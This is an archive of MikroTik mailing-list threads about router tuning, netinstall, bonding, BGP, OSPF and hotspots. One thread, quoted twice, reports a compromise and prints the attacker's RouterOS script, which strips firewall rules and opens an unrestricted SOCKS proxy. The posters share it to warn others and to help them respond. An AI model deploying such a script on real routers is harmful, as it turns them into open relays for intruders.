Re: [Mikrotik Users] RB2011UiAS Performance Tuning

[Dennis Burgess via Mikrotik-users]

So you using 1,5 and sp1 gives you 1 Gb max throughput though the unit.   
Depending on packet size etc.Thats the max per the physical unit can do on 
those ports.  1481 meg is max with 1500 bytes packets, and 860 is max with 512 
bypte packets.

I’m sure you had plenty of users etc.  I would except between 300-500meg max.  
depednign on the packet size, 116meg is 64 byte, so really depends on the 
average packet size at that point.


[LTI-Full_175px]
Dennis Burgess, Mikrotik Certified Trainer
MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE, MTCSE, HE IPv6 Sage, Cambium ePMP Certified
Author of "Learn RouterOS- Second Edition”
Link Technologies, Inc -- Mikrotik & WISP Support Services
Office: 314-735-0270  Website: 
http://www.linktechs.net
Create Wireless Coverage’s with www.towercoverage.com

From: mikrotik-users-boun...@wispa.org  On 
Behalf Of Nick Bright via Mikrotik-users
Sent: Wednesday, July 10, 2019 6:03 PM
To: Mikrotik Users 
Subject: [Mikrotik Users] RB2011UiAS Performance Tuning


Had a CCR1009 get blown by lightning today. The only thing I had with an SFP to 
swap in its place was an RB2011UiAS.

Typically running peak of about 500Mbps in traffic in the evenings.

I have disabled the LCD, turned off connection tracking, disabled all mangle 
rules, and disabled as many filter rules as possible without compromising 
security (3 simple port filter rules remain). All services are disabled except 
SSH and Winbox for management. No NAT rules are enabled (some are configured, 
but they are disabled).

BGP is in use with one peer, receiving only a default route by filter (peer 
sends all routes, but I'm filtered for only default).

The only interfaces in use are ether1, ether5 and sfp1. All are routed (no 
switch or bridges configured). Each interface, except sfp1, has one VLAN for 
telemetry management.

I'm still seeing 70-100% cpu usage at only around 150Mbps (13kpps) with nearly 
all traffic falling in to Fast Path on 6.43.16 with the CPU set to 750MHz.

Have I missed any performance tuning options? I just need it to work half way 
decent for the night, I have a new CCR1009 on the way.

--

---

-  Nick Bright-

-  Vice President of Technology   -

-  Valnet -=- We Connect You -=-  -

-  Tel 888-332-1616 x 315 / Fax 620-331-0789  -

-  Web http://www.valnet.net/ -

---

- Are your files safe?-

- Valnet Vault - Secure Cloud Backup  -

- More information & 30 day free trial at -

- http://www.valnet.net/services/valnet-vault -

---
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] CCR-10368G-2S+ problems

[Dennis Burgess via Mikrotik-users]

Personally I think he gave it to you to waste your time..  lol.

Your options are netinstall and that’s it, but if the port won’t come up, you 
can only reset it and then try netinstall and/or console in and attempt, if 
that don’t work, you can send it to us and we can try, but no guarantees.


[LTI-Full_175px]
Dennis Burgess, Mikrotik Certified Trainer
Author of "Learn RouterOS- Second Edition”
Link Technologies, Inc -- Mikrotik & WISP Support Services
Office: 314-735-0270  Website: 
http://www.linktechs.net
Create Wireless Coverage’s with www.towercoverage.com

From: mikrotik-users-boun...@wispa.org  On 
Behalf Of Leon Zetekoff via Mikrotik-users
Sent: Wednesday, March 20, 2019 7:43 AM
To: Gabriel Pike ; wa4...@arrl.net; 'Mikrotik Users' 
; 'Joe Novak' 
Subject: Re: [Mikrotik Users] CCR-10368G-2S+ problems


Yes
On 3/20/2019 8:03 AM, Gabriel Pike wrote:
Have you tried turning off your windows firewall?

Regards,

Gabriel Pike


From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Leon Zetekoff via 
Mikrotik-users
Sent: Tuesday, March 19, 2019 5:17 PM
To: Joe Novak; Leon Zetekoff; Mikrotik Users
Subject: Re: [Mikrotik Users] CCR-10368G-2S+ problems


Hi joe...done that too and yes on the static. it is a royal PITA. there could 
be an easier way.

thanks leon
On 3/19/2019 5:14 PM, Joe Novak wrote:
Try running 'netinstall' as administrator. You have a static IP address on the 
interface facing the router per the wiki? 
https://wiki.mikrotik.com/wiki/Manual:Netinstall

I remember it being a pain getting setup for the first time back a long time 
ago when I first used it. I haven't used it for a few years now though.

On Tue, Mar 19, 2019 at 3:29 PM Leon Zetekoff via Mikrotik-users 
mailto:mikrotik-users@wispa.org>> wrote:

reset button does the same as going into the setup mode and switching the boot 
mode. sends out bootp but nothing responds :-(

it's like netinstall isn't binding to the port???

leon
On 3/19/2019 2:51 PM, Leon Zetekoff wrote:

forgot about the reset button thing will have to try later. No VM on this bare 
metal.

thanks I'll give it a try later leon
On 3/19/2019 2:42 PM, C D Tavares wrote:
It can be a bear setting up netinstall to work the first time, especially if 
you use a VM.  Also, if you're unaware that for some reason the CCR series runs 
netinstall on the last port, instead of the first port like every other 
MikroTik product.

Netinstall only works if you power up the unit while holding the reset button 
down for about 20+ seconds until the blinky light goes out.  If port 8 is 
pulling DHCP, it's not in the correct startup state.  And if it's looking for 
DHCP, it's no wonder it doesn't want to talk to your laptop, as your laptop 
doesn't offer any.



On Mar 19, 2019, at 11:18 AM, Leon Zetekoff via Mikrotik-users 
mailto:mikrotik-users@wispa.org>> wrote:


Hi Joe

I spent a few hours tackling Netinstall and I can not get it to work. If I 
connect ether8 to the network it pulls a DHCP but if I connect ether8 to my 
laptop through a cross-over cable nothing happens. I turned off AVG protection 
as well as the default windows firewall. If I let the router boot, I can ping 
ether8 from the laptop using the x-over cable and ether8 set to 10Mbps. The 
laptop can be set to Auto OR 10M fixed.

Netinstall never sees the bootp request and the netinstall gui only shows disk 
drives.

ANy ideas?

Thanks leon
On 3/19/2019 11:34 AM, Joe Novak wrote:
CCR support was added in 6.x if I'm not mistaken. The bootloader version may 
have 3.09, though.

Assuming you've netinstalled the OS... I'm not sure there is much else to do. 
You can try to swap in the ram from a known good router, same with power 
supply. But that is more or less the extent of troubleshooting I think you can 
do.

On Tue, Mar 19, 2019 at 10:21 AM Leon Zetekoff via Mikrotik-users 
mailto:mikrotik-users@wispa.org>> wrote:
Hi Folksthis device was given to us a number of years ago and it had
3.09 on it I believe. We eventually upgraded it to 6.41.rc9 I think it
was and started to act flooey. Put it on shelf since no time to deal
with it. Resurrected it again and i manually upgraded it to 6.42.12.
Whats going on is the ethernet ports only show 10Mbps, auto or anything
other than 10M doesnt work. ALso only seems I can only talk to my
laptop. Mikrotik (and I) believe its a hardware issue and of course out
of warranty.

Anyone else seen this before and any way to resolve it other than
tossing it in the trash bin?

Thanks leon


---
This email has been checked for viruses by AVG.
https://www.avg.com

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Bonding for availability

[Dennis Burgess via Mikrotik-users]

Yep that would be the correct setup in this instance.  


Dennis Burgess, Mikrotik Certified Trainer 
Author of "Learn RouterOS- Second Edition" 
Link Technologies, Inc -- Mikrotik & WISP Support Services 
Office: 314-735-0270  Website: http://www.linktechs.net 
Create Wireless Coverage's with www.towercoverage.com 

-Original Message-
From: mikrotik-users-boun...@wispa.org  On 
Behalf Of Nick Bright via Mikrotik-users
Sent: Friday, December 21, 2018 12:56 PM
To: Mikrotik Users 
Subject: Re: [Mikrotik Users] Bonding for availability

Thanks all, I will look at doing this with OSPF.

On 12/21/2018 11:43 AM, Robert Nickerson wrote:
> We use OSPF for a setup of this type. It seems to work well.
>
> Thx
>
> RAN
>
> On 12/20/2018 3:43 PM, Nick Bright via Mikrotik-users wrote:
>> Greetings,
>>
>> I'm looking at a configuration to set up bonding between two Mikrotik 
>> routers (CCR1009 and RB2011), using two separate wireless links 
>> between them (external radios).
>>
>> I am concerned about one of the links having an issue where it stays 
>> linked, but stops passing traffic.
>>
>> Which bonding driver would be best suited to providing maximum 
>> availability? Bonded capacity is not required, but the links aren't 
>> the same speed; so I'd want to prefer the faster link if 
>> non-aggregated capacity is required.
>>
>> It seems like any method which only supports MII monitoring is out, 
>> because the MII link wouldn't drop (it's Ethernet to the radio); 
>> which rules out 802.11ad, active-backup, and balance-tlb.
>>
>> broadcast seems like it would be limited to the slower link, rather 
>> than the faster link.
>>
>> balance-rr states that it requires equal bandwidth links.
>>
>> This appears to only leave balance-xor and balance-alb. It seems like 
>> balance-alb is most likely the best choice.
>>
>> I am also unclear on how the ARP availability mechanism judges a port 
>> to be available. I think that I would want to assign a unique probing 
>> address to each port on each end of each router, and have those IP 
>> addresses (one per port) set in the arp-ip-targets list? This should 
>> allow the router to know which specific ports work, and which don't?
>>
>> Thanks,
>>

--
---
-  Nick Bright-
-  Vice President of Technology   -
-  Valnet -=- We Connect You -=-  -
-  Tel 888-332-1616 x 315 / Fax 620-331-0789  -
-  Web http://www.valnet.net/ -
---
- Are your files safe?-
- Valnet Vault - Secure Cloud Backup  -
- More information & 30 day free trial at -
- http://www.valnet.net/services/valnet-vault -
---

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

[Mikrotik Users] test

[Dennis Burgess via Mikrotik-users]

Dennis Burgess, Mikrotik Certified Trainer
Author of "Learn RouterOS- Second Edition"
Link Technologies, Inc -- Mikrotik & WISP Support Services
Office: 314-735-0270  Website: 
http://www.linktechs.net
Create Wireless Coverage's with www.towercoverage.com

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

[Dennis Burgess via Mikrotik-users]

Yep, that  is another source, plus they have newsletters that they email out as 
well. ☺


Dennis Burgess, Mikrotik Certified Trainer
Author of "Learn RouterOS- Second Edition”
Link Technologies, Inc -- Mikrotik & WISP Support Services
Office: 314-735-0270  Website: 
http://www.linktechs.net<http://www.linktechs.net/>
Create Wireless Coverage’s with www.towercoverage.com

From: mikrotik-users-boun...@wispa.org  On 
Behalf Of Grand Avenue Broadband via Mikrotik-users
Sent: Tuesday, August 7, 2018 10:39 AM
To: Mikrotik Users 
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

MikroTik recently set up a blog specifically for breaking security issues, with 
an RSS feed.  I highly recommend subscribing.

https://blog.mikrotik.com/

On Aug 7, 2018, at 6:45 AM, Brian Vargyas via Mikrotik-users 
mailto:mikrotik-users@wispa.org>> wrote:

Mikrotik themselves also has published several security bulletins on their 
newsletter list.  If your not on it, go to mikrotik.com<http://mikrotik.com/> 
and scroll to the bottom and sign up for the newsletter.

Brian



From: 20153514200n behalf of
Sent: Tuesday, August 7, 2018 8:34 AM
To: Dennis Burgess; Mikrotik Users
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

How does one subscribe to your news letter?
Alex Phillips
CEO and General Manager
RBNS.net<http://RBNS.net>
HighSpeedLink.net
540-908-3993



On Tue, Aug 7, 2018 at 9:29 AM Dennis Burgess via Mikrotik-users 
mailto:mikrotik-users@wispa.org>> wrote:
You should subscribe to our newsletters as we mentioned this several weeks 
ago….  This is the exploit that was fixed back 4 months ago!  Lol


Dennis Burgess, Mikrotik Certified Trainer
Author of "Learn RouterOS- Second Edition”
Link Technologies, Inc -- Mikrotik & WISP Support Services
Office: 314-735-0270  Website: 
http://www.linktechs.net<http://www.linktechs.net/>
Create Wireless Coverage’s with 
www.towercoverage.com<http://www.towercoverage.com/>

From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
mailto:mikrotik-users-boun...@wispa.org>> On 
Behalf Of Bruce Bridegwater via Mikrotik-users
Sent: Sunday, August 5, 2018 8:16 PM
To: 'Shawn C. Peppers' 
mailto:videodirectwispal...@gmail.com>>; 
'Mikrotik Users' mailto:mikrotik-users@wispa.org>>; 
Bob Pensworth mailto:beeper.bo...@gmail.com>>
Cc: JP Douros mailto:jdou...@rpmcable.com>>
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

Fyi, credit to J.P. Douros from RPM Provioning Management for bringing it to 
our attention and providing the solution.
RPM manages our Cisco UBR10k CMTS.
Great support company.

From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
mailto:mikrotik-users-boun...@wispa.org>> on 
behalf of Bob Pensworth via Mikrotik-users 
mailto:mikrotik-users@wispa.org>>
Sent: Sunday, August 5, 2018 7:57:53 PM
To: 'Shawn C. Peppers'; 'Mikrotik Users'
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

We are finding an IP/Socks connection:
We are finding an event entry in System/Scheduler
And the (below) script in System/Script:

/ip firewall filter remove [/ip firewall filter find where comment ~ "port 
[0-9]*"];/ip socks set enabled=yes port=11328 max-connections=255 
connection-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip 
firewall filter add chain=input protocol=tcp port=11328 action=accept 
comment="port 11328";/ip firewall filter move [/ip firewall filter find 
comment="port 11328"] 1;

--
Bob Pensworth, WA7BOB | General Manager
CresComm WiFi, LLC<http://www.crescommwifi.com/> | (360) 928-, x1

From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
mailto:mikrotik-users-boun...@wispa.org>> On 
Behalf Of Shawn C. Peppers via Mikrotik-users
Sent: Friday, March 16, 2018 11:54 AM
To: mikrotik-users@wispa.org<mailto:mikrotik-users@wispa.org>; 
memb...@wisp.org<mailto:memb...@wisp.org>
Subject: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

I have not tested this yet but

https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow
:: // Shawn Peppers
:: // DirectlinkAdmin.com<http://directlinkadmin.com/>
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org<mailto:Mikrotik-users@wispa.org>
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org<mailto:Mikrotik-users@wispa.org>
http://lists.wispa.org/mailman/listinfo/mikrotik-users

--
  Grand Avenue Broadband -- Wireless Internet Service
 Circle City to Wickenburg and surrounding areas
  http://grandavebb.com

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

[Dennis Burgess via Mikrotik-users]

You should subscribe to our newsletters as we mentioned this several weeks 
ago  This is the exploit that was fixed back 4 months ago!  Lol


Dennis Burgess, Mikrotik Certified Trainer
Author of "Learn RouterOS- Second Edition"
Link Technologies, Inc -- Mikrotik & WISP Support Services
Office: 314-735-0270  Website: 
http://www.linktechs.net
Create Wireless Coverage's with www.towercoverage.com

From: mikrotik-users-boun...@wispa.org  On 
Behalf Of Bruce Bridegwater via Mikrotik-users
Sent: Sunday, August 5, 2018 8:16 PM
To: 'Shawn C. Peppers' ; 'Mikrotik Users' 
; Bob Pensworth 
Cc: JP Douros 
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

Fyi, credit to J.P. Douros from RPM Provioning Management for bringing it to 
our attention and providing the solution.
RPM manages our Cisco UBR10k CMTS.
Great support company.

From: mikrotik-users-boun...@wispa.org 
mailto:mikrotik-users-boun...@wispa.org>> on 
behalf of Bob Pensworth via Mikrotik-users 
mailto:mikrotik-users@wispa.org>>
Sent: Sunday, August 5, 2018 7:57:53 PM
To: 'Shawn C. Peppers'; 'Mikrotik Users'
Subject: Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

We are finding an IP/Socks connection:
We are finding an event entry in System/Scheduler
And the (below) script in System/Script:

/ip firewall filter remove [/ip firewall filter find where comment ~ "port 
[0-9]*"];/ip socks set enabled=yes port=11328 max-connections=255 
connection-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip 
firewall filter add chain=input protocol=tcp port=11328 action=accept 
comment="port 11328";/ip firewall filter move [/ip firewall filter find 
comment="port 11328"] 1;

--
Bob Pensworth, WA7BOB | General Manager
CresComm WiFi, LLC | (360) 928-, x1

From: mikrotik-users-boun...@wispa.org 
mailto:mikrotik-users-boun...@wispa.org>> On 
Behalf Of Shawn C. Peppers via Mikrotik-users
Sent: Friday, March 16, 2018 11:54 AM
To: mikrotik-users@wispa.org; 
memb...@wisp.org
Subject: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

I have not tested this yet but

https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow
:: // Shawn Peppers
:: // DirectlinkAdmin.com
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

[Dennis Burgess via Mikrotik-users]

Yes, but why would you enable SNB in MT ☺  lol.  I know people who do but 
still. .lol

Dennis Burgess
www.linktechs.net – 314-735-0270 x103 – 
dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Shawn C. Peppers via 
Mikrotik-users
Sent: Friday, March 16, 2018 1:54 PM
To: mikrotik-users@wispa.org; memb...@wisp.org
Subject: [Mikrotik Users] Exploit in ROS 6.41.3/6.42rc27

I have not tested this yet but

https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow
:: // Shawn Peppers
:: // DirectlinkAdmin.com
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Questing regarding bypassing hotspot.

[Dennis Burgess via Mikrotik-users]

Many different options, but PPPOE is one of the best ones. As far as the 
clients, if they are a RV park, then you don't have to control what they 
clients are using, they can authenticate using their mac address on there 
router, then anything connected to that will work.  Othwerise, they will have 
to login using that router and that mac addres of that router is the one that 
you auth.   Making it too complicated, or your backend system can't handle 
multiple logins with several macs. 

Dennis Burgess
www.linktechs.net - 314-735-0270 x103 - dmburg...@linktechs.net 

-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of ralph via Mikrotik-users
Sent: Sunday, January 21, 2018 5:46 PM
To: 'Mikrotik Users' 
Subject: [Mikrotik Users] Questing regarding bypassing hotspot.

I have a lot of sites using MT Hotspot with an offsite RADIUS backend that 
handles billing and customer speed control, etc.  

This is fine for when the customer has a browser equipped device. They just log 
in via the portal and away they go.  But now there are many new devices that 
don't use browsers,  things like smart thermostats, smart TVs, certain game 
consoles and who knows what else.  MT (and my backend) have MAC Authentication 
(where you set MAC as one of the login methods in the hotspot) for those sorts 
of devices. However that only works if the device initiates an HTTP connection. 
On HTTPS, no auto login  and on a lot of these other devices no auto login 
either.

So I end up having to put these device's  MACs into an IP Binding table in the 
MT hotspot.Works great.  But I lose all tracking of the user, I can't 
control their speed, and I don't even know they are on line.   But the worst 
part is that now I have to manually track whether or not their subscription is 
current. Sometimes I forget to and their devices get free service for months.

But I think there must be a way I can do the following:

1. Let their MAC just pass through without going through the hotspot.
2. Limit the device's speed to that of their subscription 3. And optionally, 
have the rule go away on a certain date (or after a certain period of time)

I'd be ecstatic if I could just get #1 and #2.

I don't know anything about "Manual Queues", only the ones the hotspot creates 
upon login.  

Can someone help me out?

Thanks,
Ralph


___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] CCR 1072 BGP trivia for your Friday Night

[Dennis Burgess via Mikrotik-users]

Sounds like an internal routing issue on the 1032 to me. And/or something up 
with your firewall. I would have to take a look.  

Dennis Burgess
www.linktechs.net – 314-735-0270 x103 – dmburg...@linktechs.net 

-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of mike.lyon--- via 
Mikrotik-users
Sent: Friday, January 12, 2018 7:18 PM
To: christ...@cybernet1.com
Cc: Mikrotik Users 
Subject: Re: [Mikrotik Users] CCR 1072 BGP trivia for your Friday Night

No, i am only advertising the two /22s to my upstreams. Verified that they are 
only recieving the two /22s.

I should also mention that the CCR 1072 connects to a CCR 1036 and the various 
/30s and /29s hang off the 1036. There is a 10.x /30 between the two routers. 
The 1036 has a default route pointing to the 1072. The 1072 has two staric 
routes routing the two /22s to the 1036.

It would appear the route is getting dropped at the 1072. 

Joe Bob Random  /30 will report that he is unable to browse the internet at one 
moment, traceroute stops at the 1072. Drop one of the two BGP upstreams (doesnt 
matter which one) and Joe Bob Random /30 begins to work again.

Thanks,
Mike

> On Jan 12, 2018, at 17:08,  
>  wrote:
> 
> Are you actually advertising /29's and /30's to your providers?
> 
> 
> Also, what exactly do you mean by dropping /30's?  Like the packets are being 
> dropped to those ip's, or the /30's are being discarded, the routes are 
> disappearing?
> 
> -Original Message-
> From: mikrotik-users-boun...@wispa.org 
> [mailto:mikrotik-users-boun...@wispa.org] On Behalf Of mike.lyon--- via 
> Mikrotik-users
> Sent: Friday, January 12, 2018 5:54 PM
> To: Mikrotik Users 
> Subject: [Mikrotik Users] CCR 1072 BGP trivia for your Friday Night
> 
> Howdy!
> 
> I have an interesting issue that i can’t seem to figure out...
> 
> Quick overview:
> 
> -1x CCR 1072 running 6.40.1
> -2 upstream providers, taking full tables from both to the 1072.
> -2x public /22s behind the 1072 and am advertising both /22s to my upstreams.
> -The /22s are chopped up into various /29s and /30s. 
> 
> Out of the blue, the 1072 will randomly drop various /30s (havent seen any 
> dropped /29s) out of those 2 /22s that im advertising upstream.
> 
> If i drop one of either of my upstreams , the problem goes away and 
> everything is swell.
> 
> Any ideas or thoughts on what may be causing this?
> 
> Thank You,
> Mike
> 
> ___
> Mikrotik-users mailing list
> Mikrotik-users@wispa.org
> http://lists.wispa.org/mailman/listinfo/mikrotik-users
> 
> 
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] Bonding Configuration

[Dennis Burgess via Mikrotik-users]

Bonding is not that, you need to find out if your provider supports MlPPPoE, 
that is the only way to bond PPPoE DSL circuits, else you can do PCC..  If you 
don't have time to research it, you can give my team a call and we can help 
out.  


Dennis Burgess - Network Solution Engineer - Consultant 
MikroTik Certified Trainer/Consultant - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequency Coverages: www.towercoverage.com 
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net 


-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Nick Bright via 
Mikrotik-users
Sent: Tuesday, September 26, 2017 1:34 PM
To: Mikrotik Users 
Subject: [Mikrotik Users] Bonding Configuration

https://wiki.mikrotik.com/wiki/Manual:Bonding_Examples

I'm attempting to bond two DSL connections at a remote site, I was using an 
appliance for this but the service provider is discontinuing the service.

Reviewing the document above, I encountered a challenge - the far side, being 
two PPPoE DSL connections, doesn't have static IP addresses.

Is there a way to implement this solution such that the far side of the tunnel 
on dynamic IPs can work?

For reference, the bonding will end up being between an RB2011 and CCR1009; 
both under my control (but separated by 'internet')

--
---
-  Nick Bright-
-  Vice President of Technology   -
-  Valnet -=- We Connect You -=-  -
-  Tel 888-332-1616 x 315 / Fax 620-331-0789  -
-  Web http://www.valnet.net/ -
---
- Are your files safe?-
- Valnet Vault - Secure Cloud Backup  -
- More information & 30 day free trial at -
- http://www.valnet.net/services/valnet-vault -
---

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] WAP60G?

[Dennis Burgess via Mikrotik-users]

We are taking order for them, we need company name and the funds, we don't have 
a expected ETA yet, but hopefully soon. 

-Original Message-
From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Nick Bright via 
Mikrotik-users
Sent: Friday, September 22, 2017 1:48 PM
To: Scott Reed via Mikrotik-users 
Subject: [Mikrotik Users] WAP60G?

Has anybody heard any rumors on when it might be available?

A friend of mine is wanting to try them out for building to building 
connections on his campus.

--
---
-  Nick Bright-
-  Vice President of Technology   -
-  Valnet -=- We Connect You -=-  -
-  Tel 888-332-1616 x 315 / Fax 620-331-0789  -
-  Web http://www.valnet.net/ -
---
- Are your files safe?-
- Valnet Vault - Secure Cloud Backup  -
- More information & 30 day free trial at -
- http://www.valnet.net/services/valnet-vault -
---

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users
___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] OSFP considerations for WISP

[Dennis Burgess via Mikrotik-users]

I would suggest contacting a MT consultant that can answer these and help you, 
but point to point is made for guess what, point to point links :)  heehhe .


Dennis Burgess - Network Solution Engineer - Consultant
MikroTik Certified 
Trainer/Consultant
 - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net
Radio Frequency Coverages: www.towercoverage.com
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Robert Dillon via 
Mikrotik-users
Sent: Tuesday, June 27, 2017 7:58 AM
To: 'Mikrotik Users' 
Subject: [Mikrotik Users] OSFP considerations for WISP

Hello all, we are going to be running OSPF on our network using Mikrotik CCR 
routers at each tower.  We are transitioning from a fully bridged network to a 
routed network.  Network is made up a several interconnected rings using full 
duplex microwave links.  We have 2 different upstream providers in 
geographically dispersed locations that are not yet providing us BGP upstream 
redundancy but that is the plan in the future.

So questions are:
- What OSPF network type are most WISPs using?  I'd assume not broadcast due to 
just that, broadcasts=bad.  NBMA?, PtP, PtMP?  NBMA or PtMP see to make the 
most sense to me.
- With multiple upstream ISPs, how do I handle default route advertisements 
across the network?  Some default routes need to point to ISP 1 and some routes 
need to point to ISP2.

Thank you for your time.

Robert Dillon
In the Stix Broadband LLC, Co-Owner
814-472-2662 Office
rdil...@itxbb.net
www.itxbb.net

___
Mikrotik-users mailing list
Mikrotik-users@wispa.org
http://lists.wispa.org/mailman/listinfo/mikrotik-users

Re: [Mikrotik Users] High routing CPU load

[Dennis Burgess via Mikrotik-users]

When they get to a new version for the most part. 99% of it still applies 
though.  :)  They have been stating that they are going to have a new version, 
have not seen it :(


Dennis Burgess - Network Solution Engineer - Consultant
MikroTik Certified 
Trainer/Consultant<http://www.linktechs.net/productcart/pc/viewcontent.asp?idpage=5>
 - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net<http://www.linktechs.net/>
Radio Frequency Coverages: www.towercoverage.com<http://www.towercoverage.com/>
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net<mailto:dmburg...@linktechs.net>

From: mikrotik-users-boun...@wispa.org 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Jan-OOLLC via 
Mikrotik-users
Sent: Tuesday, May 9, 2017 11:37 AM
To: mikrotik-users@wispa.org
Subject: Re: [Mikrotik Users] High routing CPU load


Dennis,

When are you going to update your 2nd edition (Learn RouterOS)with a 3rd?  The 
chapter on Dude was sort of helpful, needs an update.

Jan V
On 05/09/2017 08:05 AM, Dennis Burgess via Mikrotik-users wrote:
We make the PowerRouter v3 and v4, depending on your needs.


Dennis Burgess - Network Solution Engineer - Consultant
MikroTik Certified 
Trainer/Consultant<http://www.linktechs.net/productcart/pc/viewcontent.asp?idpage=5>
 - MTCNA, MTCRE, MTCWE, MTCTCE, MTCINE

For Wireless Hardware/Routers visit www.linktechs.net<http://www.linktechs.net/>
Radio Frequency Coverages: www.towercoverage.com<http://www.towercoverage.com/>
Office: 314-735-0270
E-Mail: dmburg...@linktechs.net<mailto:dmburg...@linktechs.net>

From: mikrotik-users-boun...@wispa.org<mailto:mikrotik-users-boun...@wispa.org> 
[mailto:mikrotik-users-boun...@wispa.org] On Behalf Of Kevin Sullivan via 
Mikrotik-users
Sent: Monday, May 8, 2017 4:50 PM
To: 'Kevin Myers' 
<kevin.my...@iparchitechs.com><mailto:kevin.my...@iparchitechs.com>; 'Mikrotik 
Users' <mikrotik-users@wispa.org><mailto:mikrotik-users@wispa.org>
Subject: Re: [Mikrotik Users] High routing CPU load

Thanks. Just for clarification, we're only see 100% load on one core, not on 
the router as a whole.

It's started crashing OSPF occasionally when we log into the router via SSH, as 
well. It doesn't do that with winbox, only SSH. Kinda weird, since I would 
think the OSPF stuff would be running through an alternate core, as would the 
SSH login.

Right now we're thinking we're going to have to switch to x86 for more 
processing power per CPU. Don't see that many options for a pre-built x86, 
though.

Kevin

From: Kevin Myers [mailto:kevin.my...@iparchitechs.com]
Sent: Tuesday, May 02, 2017 5:11 PM
To: Kevin Sullivan; Mikrotik Users
Subject: RE: [Mikrotik Users] High routing CPU load

If you're advertising a large number of routes to your 31 peers (full or 
partial tables) then you'll need to adjust your routing architecture somewhat 
and consider using the CCR1072 more for transit and offload some of the 
peerings with a larger number of routes onto a CHR or x86 VM with a public 
route reflector (depends on throughput requirements).

You can easily get over 100 peerings on a CCR but the route count has to be 
lower.

Thanks,

Kevin Myers
MTCINE # 1409
MTCRE,  MTCTCE, MTCWE, CCNP, MCP
Network Architect / Managing Partner
+1 (601) 287-3868 - Mobile (GMT -6)
+1 (303) 590-9943 - Office (GMT -6)
ipa.kevin.myers - Skype

[iparchitechs_ms_logo_msp-header-166x46]

#1 Ranked MikroTik consulting firm in North America
Expert consulting in | BGP | MPLS | OSPF | ISP | Data Center

